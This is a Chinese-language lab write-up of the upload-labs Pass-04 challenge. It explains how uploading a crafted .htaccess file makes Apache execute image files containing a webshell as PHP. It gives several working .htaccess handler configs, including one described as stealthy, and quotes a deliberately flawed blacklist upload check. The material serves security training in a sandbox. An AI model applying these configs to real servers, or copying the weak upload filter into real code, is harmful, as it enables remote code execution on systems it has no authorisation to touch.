【文件上传绕过】解析漏洞_.htaccess文件解析漏洞
一、实验目的:
1、了解什么是.htaccess文件。
2、通过upload-labs闯关游戏(Pass-04),掌握.htaccess文件解析漏洞技术。
二、工具:
cmd命令行
火狐/谷歌浏览器
三、实验环境:
靶 机: windows10虚拟机:192.168.100.150
upload-labs-master闯关游戏
phpstudy2018搭建网站
php5.6以下不带nts的版本
服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
攻击机: 物理机
四、漏洞利用前提:
web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件。
五、原理:
.htaccess文件(或者"分布式配置文件") ,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
六、利用方式:
上传覆盖.htaccess文件
,重写解析规则
,将上传的带有脚本马的图片以脚本方式解析。
七、.htaccess文件
内容:
.htaccess文件
解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。
第一种、虽然好用,但是会误伤其他正常文件,容易被发现:
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现:
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
第三种、同1没太大区别:
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
八、.htaccess文件
制作:
创建好文件后,把上面的.htaccess文件
内容通过文本文档的方式复制进去即可,内容需要根据实际情况进行适当修改。
1. 直接创建文件:
2. 通过cmd命令行
创建:
有的电脑无法通过桌面直接创建,就需要通过命令行进行创建:
命令:
echo hello world > .htaccess
九、实验过程:
upload-labs闯关游戏(Pass-04):
页面源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1、创建一个.htaccess文件
,.htaccess文件
文件内容中的规则这里使用上面的第二种方法,内容如下:
注:上传这个文件的原因是为了把1.png
的图片马
解析为php
的脚本文件。
这里在写.htaccess文件
内容时,需要去掉每行结尾的多余的空格:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
AddHandler php5-script .png
</FilesMatch>
2、选择upload-labs闯关游戏(Pass-04)
先上传上面写好的.htaccess文件
:
3、上传一个图片马1.png
,并复制图片马的链接:
4、访问图片马的链接后,发现已经把1.png
解析为php
脚本文件:
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
共有 0 条评论